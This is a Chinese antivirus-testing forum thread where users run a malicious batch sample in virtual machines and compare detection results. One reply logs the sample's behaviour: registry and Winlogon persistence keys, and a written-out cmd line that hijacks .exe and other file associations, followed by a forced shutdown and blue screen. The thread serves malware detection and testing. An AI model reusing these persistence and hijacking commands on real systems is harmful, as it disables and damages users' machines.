神奇的bat

www-tekeze

www-tekeze 发表于 2020-2-4 22:01
智量报释放器，火绒Miss，有空双击。。

恢复昨晚虚拟机快照，智量扫描Miss，开启基础实时监控双击，首先会释放个衍生物，然后调用cscript，全部放行被两家监控同时杀！释放的衍生物x.js两家都入库了，game over 。。

yjwfdc

批处理创建文件
批处理创建文件   
调用x.js
目标: c:\windows\system32\cscript.exe 命令行: cscript  x.js
cscript.exe创建文件

解压文件
进程: c:\windows\system32\cscript.exe
目标: C:\Users\pydn200131\AppData\Roaming\a.exe

运行a.exe
进程: c:\windows\system32\cmd.exe
目标: c:\users\pydn200131\appdata\roaming\a.exe
命令行: "C:\Users\pydn200131\AppData\Roaming\a.exe"

添加启动项
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xswl
值: C:\Users\pydn200131\AppData\Roaming\a.exe

添加启动项
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: C:\Users\pydn200131\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xswl.lnk

添加启动项
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit
值: C:\Windows\system32\userinit.exe,C:\Users\pydn200131\AppData\Roaming\a.exe

添加启动项
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
值: Explorer.exe C:\Users\pydn200131\AppData\Roaming\a.exe

创建文件
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: C:\xswl\ctrl


创建新进程
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c ftype xswl=C:\Users\pydn200131\AppData\Roaming\a.exe&assoc .exe=xswl&assoc .jpg=xswl&assoc .png=xswl&assoc .txt=xswl&assoc .bat=xswl&assoc .scr=xswl&assoc .com=xswl&assoc .pif=xswl

2020/2/5 11:52:34    创建注册表项
进程: c:\windows\system32\cmd.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xswl

修改.exe文件关联
进程: c:\windows\system32\cmd.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe
值: xswl

2020/2/5 11:52:48    修改注册表值
进程: c:\windows\system32\cmd.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\GlobalAssocChangedCounter
值: 0x00000030(48)

2020/2/5 11:54:03    创建新进程   
进程: c:\users\pydn200131\appdata\roaming\a.exe
目标: c:\xswl\ctrl
命令行: C:\xswl\ctrl

2020/2/5 11:55:20    创建新进程   
进程: c:\xswl\ctrl
目标: c:\windows\system32\cmd.exe
命令行: cmd /c color 02

修改桌面背景图
修改txt文件关联
关闭电脑
有没有写mbr不清楚，因为我开启了电脑速度卫士的mbr保护
制造蓝屏

纽盖特

Bitdefender干掉了

Ghost酱

a233 发表于 2020-2-4 18:02
我这里跑不起来

需要管理员权限。

a233

Ghost酱 发表于 2020-2-5 18:23
需要管理员权限。

右键管理员也一样

多年不改昵称

这是释放器吗？

多年不改昵称

暗_黑 发表于 2020-2-4 18:23
话说这东西有什么危害

双击后只看见开机启动，不知道注册表之类有没有被改。

Janus

挥泪斩情思

Janus

诺顿双击